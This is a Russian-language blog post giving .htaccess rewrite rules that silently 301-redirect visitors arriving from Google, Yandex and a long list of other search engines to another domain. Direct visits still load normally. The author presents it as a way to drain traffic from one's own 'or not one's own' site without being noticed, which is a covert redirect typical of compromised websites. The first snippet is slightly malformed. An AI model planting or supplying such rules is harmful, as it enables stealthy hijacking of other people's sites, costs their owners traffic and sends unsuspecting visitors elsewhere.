Skip to main content

.htaccess — перенаправление с поисковиков

By 8 июня 20129 марта, 2016Blog

Привет мой дорогой %username%! Если возникла такая ситуация, что нужно перенаправить людей с твоего (или не твоего) сайта, и при этом остаться незамеченным — выход есть.

Редактируем .htaccess, и вписываем туда код:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteRule ^(.*)$ http://bo0om.ru [R=301,L]

Итак, мы перенаправляем всех, кто перешёл с google на bo0om.ru, отправляя заветный 301 редирект (перемещен навсегда).

Что из этого следует — на целевом сайте резко упадёт посещаемость, если она, конечно, была. Но зайдя по чистой ссылке — сайт нормально откроется.
По идее, можно мониторить поисковик по определённому запросу, например
RewriteCond %{HTTP_REFERER} .*yandex.*/yandsearch?text=%EF%EE%F0%ED%F3%F5%E0
или параметр q= в гугле.

Для ценителей редиректов приготовил целый список поисковиков, в том числе под буржнет:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} go.mail.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*nigma.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://site.com [R=301,L]

Правда перенаправление будет, с сайта, например, vasya.lyubit.google.blog.kakashka.com но какая уже разница?

Join the discussion One Comment

Leave a Reply